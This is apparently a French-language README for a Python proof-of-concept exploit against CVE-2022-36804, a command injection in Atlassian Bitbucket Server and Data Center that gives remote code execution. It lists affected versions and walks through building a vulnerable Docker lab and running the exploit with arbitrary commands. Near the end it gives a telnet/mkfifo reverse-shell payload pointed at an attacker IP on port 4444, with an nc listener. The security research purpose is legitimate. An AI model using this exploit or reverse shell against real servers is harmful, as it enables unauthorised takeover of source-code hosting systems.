
Exploit Python pour CVE-2022-36804, une injection de commande dans Atlassian Bitbucket Server et Data Center, permettant l'exécution de code à distance avec des autorisations de lecture.
⚠️ À des fins éducatives et de recherche en sécurité autorisées uniquement
Très reconnaissant à l'auteur original du PoC Walnut Security Services Pvt. Ltd
De multiples points de terminaison API dans Atlassian Bitbucket Server et Data Center 7.0.0 avant la version 7.6.17, de la version 7.7.0 avant la version 7.17.10, de la version 7.18.0 avant la version 7.21.4, de la version 8.0.0 avant la version 8.0.3, de la version 8.1.0 avant la version 8.1.3, et de la version 8.2.0 avant la version 8.2.2, et de la version 8.3.0 avant 8.3.1 permettent à des attaquants distants disposant d'autorisations de lecture sur un référentiel Bitbucket public ou privé d'exécuter du code arbitraire en envoyant une requête HTTP malveillante. Cette vulnérabilité a été signalée via notre programme Bug Bounty par TheGrandPew.
Tout d'abord, clonez le dépôt
git clone https://github.com/asepsaepdin/CVE-2022-36804.git
Changez de répertoire
cd CVE-2022-36804
Construisez le conteneur vuln
docker build -t CVE-2022-36804 .
Exécutez le conteneur éphémère
docker run --rm -it --name CVE-2022-36804 CVE-2022-36804
Vérifiez l'adresse IP du conteneur
docker inspect CVE-2022-36804 | grep "IPAddress"
Configurez Atlassian bitbucket et créez un nouveau dépôt public en ouvrant l'URL : http://172.17.0.3:7990
Vérifiez l'exécution de code à distance (RCE)
python3 cve-2022-36804.py -u http://172.17.0.3:7990
Vérifiez l'exécution de code à distance avec une commande personnalisée (cmd)
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
Du point de vue d'un attaquant, l'exécution de code à distance est critique pour obtenir un accès à un shell interactif. Ainsi, l'exécution de la commande suivante déclencherait un shell inverse telnet sur tcp basé sur bash vers le système de l'attaquant sur le port 4444/tcp :
python3 cve-2022-36804.py -u http://172.17.0.3:7990 -c 'TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.1 4444 0<$TF | sh 1>$TF'
nc -nlvp 4444